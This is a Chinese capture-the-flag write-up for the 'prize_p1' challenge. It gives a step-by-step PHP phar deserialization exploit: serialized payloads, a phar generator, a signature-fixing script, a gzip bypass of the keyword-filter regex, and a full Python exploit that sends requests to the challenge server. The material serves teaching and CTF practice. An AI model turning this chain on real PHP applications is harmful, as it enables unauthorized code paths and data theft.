prize_p1

2023-10-09 20:50
文章标签 p1 prize

本文主要是介绍prize_p1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这道题东西真的很多,看了大佬的wp学到了不少,几个笔记记录一下。

一、代码审计

源码:

<?php
highlight_file(__FILE__);
class getflag {function __destruct() {echo getenv("FLAG");}
}class A {public $config;function __destruct() {if ($this->config == 'w') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}file_put_contents("./tmp/a.txt", $data);} else if ($this->config == 'r') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}echo file_get_contents($data);}}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

首先是一个getflag类,内容就是输出$FLAG ,触发条件为__destruct;第二个类是A,作用有两个,一个是写文件,一个是读文件,写入数据和读取对象都是POST[0]

然后就是对GET[0]的关键字判断,通过后反序列化GET[0]

这里因为关键字对flag有过滤,所以无法直接触发getflag类;转眼去看A类,既然有任意内容写入+任意文件读取+,优先考虑phar,phar反序列化的基础利用请读者自行先去了解,这里不做介绍。

那我们的操作就是先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag

二、php对象

__destruct是PHP对象的一个魔术方法,称为析构函数,顾名思义这是当该对象被销毁的时候自动执行的一个函数。其中以下情况会触发__destruct

  1. 主动调用unset($obj)
  2. 主动调用$obj = NULL
  3. 程序自动结束

我们很容易理解上述情况为什么会调用析构函数,因为这代表该对象要被清空了。除此之外,别忘了PHP拥有垃圾回收Garbage collection即我们常说的GC机制。

PHP中GC使用引用计数和回收周期自动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC机制自动回收掉,回收过程中,就会调用函数的__destruct

刚才我们提到了引用计数,其实当一个对象没有任何饮用的时候,则会被视为“垃圾”,即

$a = new obj();

这是一个obj对象,被a变量应用,所以它不是“垃圾”。如果是

new obj();

$a = new obj();$a = 2;

上面都是对象没有被饮用或开始有饮用之后失去了引用的情况,我们可以考虑下列实例代码。

class obj {function __construct($i) {$this->i = $i; }function __destruct() { echo $this->i."Destroy...\n"; }
}
new obj('1');
$a = new obj('2');$a = new obj('3');
echo "————————————\n";

输出应该如下

1Destroy...
2Destroy...
————————————
3Destroy...

三、解题

1、

而我们这里明显看到倒数第二行有反序列化操作,但是没有任何引用,所以按照上述会在执行完毕之后处于unset状态,会回收这个对象,即执行__destruct,这一步通过调试可能更加清楚的看到执行流程。这样的话,我们便可以直接在这里写入数据。

O:1:"A":1:{s:6:"config";s:1:"w";}

这样就是写入文件操作了

2、

虽然我们可以写数据了,但是我们需要写什么数据了,显然下面有file_get_contents可以利用,那么我们可以利用phar://协议来进行反序列化。

生成phar文件:

<?phpclass getflag{}$user = new getflag();
$user = array(0=>$user,1=>null);
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
$phar->stopBuffering();

(无法生成的话记得修改php.ini中的phar的readonlyoff并去掉这行前边的分号,具体操作百度)

解释一下为什么有一个array(0=>$user,1=>null)的操作,因为如果我们直接在phar文件的Metadata写getflag对象的话,显然是不能进行反序列化的,因为他反序列化之后会被phar对象的metadata属性引用,不符合unset情况,也就不会直接执行__destruct,所以我们需要用GC来进行执行__destruct

当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发__destruct,从而获得flag

但新的问题又随之产生了,我们在phar中无法生成上述的字符串内容,我们只能生成a:2:{i:0;O:7:"getflag":0:{}i:1;N;}

而这个不是我们想要的,所以我们把i:1改为i:0,这样就能取消getflag类的引用。

用010editor打开我们生成的phar文件,一定不要用记事本,不然到最后无法获取flag,因为如果你用记事本修改,实际上不止修改了你的数字,还有后面的签名和签名方法

3、

 phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名。

from hashlib import sha1f = open('/test/shell.phar', 'rb').read() # 修改内容后的phar文件s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMBopen('/test/newpoc.phar', 'wb').write(newf) # 写入新文件

根据自己的情况改一下路径即可。

4、

phar文件是生成好了,接下来就是上传和读取了,因为此时我们的phar文件依旧有明文存在,这里就是getflag,而由源码可知会被检查出来,这里用压缩的方法绕过

附上最后的exp

import requests
import gzip
import reurl = 'http://1.14.71.254:28016/'file = open("/test/newpoc.phar", "rb") #打开文件
file_out = gzip.open("/test/phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'},data={0: open('/test/phar.zip', 'rb').read()}
) # 写入res = requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'},data={0: 'phar://tmp/a.txt'}
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
print(flag)

参考链接:[phar反序列化][NSSCTF]prize_p1_Snakin_ya的博客-CSDN博客

prize1 | bilala's blog (gitee.io)

这篇关于prize_p1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/175498

相关文章

【大模型基础】P1 N-Gram 模型

目录 N-Gram 概述N-Gram 构建过程TokenN-Gram 实例第1步 构建实验语料库第2步 把句子分成 N 个 “Gram”第3步 计算每个 Bigram 在语料库中的词频第4步 计算出现的概率第5步 生成下一个词第6步:输入前缀,生成连续文本 上述实例完整代码N-Gram 的局限性 N-Gram 概述 N-Gram 诞生于统计学 NLP 初期,为解决词序列冗长导致的

【推推P1】第一期“小说详情模块”:JAVA开发文档官方版;快来在线实习吧

注:【版权声明】该文档为“校招VIP”原创,不允许商业转载 一、文档说明 1 详情模块是每个应用的最核心模块,也是后期会不断迭代,并且加入其它模块入口的模块,在设计时,需要考虑好扩展性和多接口加载时的性能问题 本期“小说详情模块”核心表现出小说更新的最新章节,以及根据产品要求的定时查询更新信息的接口实现,重点考虑大部分书籍在更新时间前后会有较大的访问压力且小说更新信息需要同步更新 2 本期

构建并升级openssh至OpenSSH_9.8p1

组件说明OpenSSH_9.8p1最新版本(2024年8月)OpenSSL 1.1.1pCentOS7中默认是OpenSSL 1.0.2k-fips 26 Jan 2017版本,OpenSSH_9.8p1不支持CentOS7主要是因为有大量CentOS老版本需要升级RPM,需要适配,故选择此版本。AnolisOS如果在CentOS8或Anolis中构建,则无需升级openssl:OpenSSL

【JAVA CORE_API】Day21 Map接口、在线聊天室v3.0、Java的反射机制(P1)

Map接口 Map接口 Map是Java中用于存储键值对(key-value pairs)的接口,每个键(key)对应一个值(value)。它不允许重复的键,但允许不同的键映射相同的值。 关键特点: 键值对存储:每个key对应一个值,使用key来获取对应的值; 不允许重复key:一个key只能存在一次,重复key会覆盖旧值; 常用实现类:HashMap、TreeMap、LinkedH

Exchange Online P1 AO Sub Add-on to User Exchange Std 部署方案建议

目录 引言 一、Exchange Online P1、AO Sub Add-on 与 Exchange Standard 简介 1.1 Exchange Online P1 1.2 AO Sub Add-on 1.3 Exchange Standard 二、Exchange Online P1 AO Sub Add-on 的主要功能 2.1 高级安全性 2.2 增强的合规性

【软件工程】【22.04】p1

关键字: 软件需求规约基本性质、数据字典构成、内聚程度最高功能内聚、公有属性、RUP实体类、评审、测试序列、软件确认过程、CMMI能力等级 软件需求分类、DFD数据流图组成(实体)、经典详细设计、数据耦合、关联多重性、状态图、黑盒测试、CMMI过程改善、需求开发过程域意图 一、单选 二、填空

Linux(Centos7)OpenSSH漏洞修复,升级最新openssh-9.7p1

OpenSSH更新 一、OpenSSH漏洞二、安装zlib三、安装OpenSSL四、安装OpenSSH 一、OpenSSH漏洞 服务器被扫描出了漏洞需要修复,准备升级为最新openssh服务 1. 使用ssh -v查看本机ssh服务版本号 ssh -V 虚拟机为OpenSSH7.4p1,现在准备升级为OpenSSH9.7p1 2. 准备好需要用到的安装包 链接:

【软件工程】【22.10】p1

关键字: 软件需求分类、性能需求、数据流图加工、用例关系、捕获系统功能用例、RUP设计层术语、故障、调试、集成测试、需求分析过程、CMMI实践部件、CMMI能力等级 软件需求规约基本性质、模块控制、协作、UML结点、事件、RUP体系结构、RUP移交、静态评估技术、测试首要目标、软件功能、CMMI集成 一、单选 二、填空

移植openssh-7.5p1(包括openssl-1.0.2l、zlib-1.2.11)到HISI3520d(编译篇)

#PS:要转载请注明出处,本人版权所有 #PS:这个只是 《 我自己 》理解,如果和你的 #原则相冲突,请谅解,勿喷 HOST: Linux 4.10.0-35-generic #39~16.04.1-Ubuntu SMP Wed Sep 13 09:02:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux TARGET: arm-hisiv400-linux

麒麟v10系统arm64架构openssh9.7p1的rpm包

制作openssh 说明 理论上制作的多个rpm在arm64架构(aarch64)都适用 系统信息:4.19.90-17.ky10.aarch64 GNU/Linux 升级前备份好文件/etc/ssh、/etc/pam.d等以及开启telnet 升级后确认正常后关闭telnet 在之前制作过openssh-9.5p1基础上继续操作 yum install rpm-build zlib-de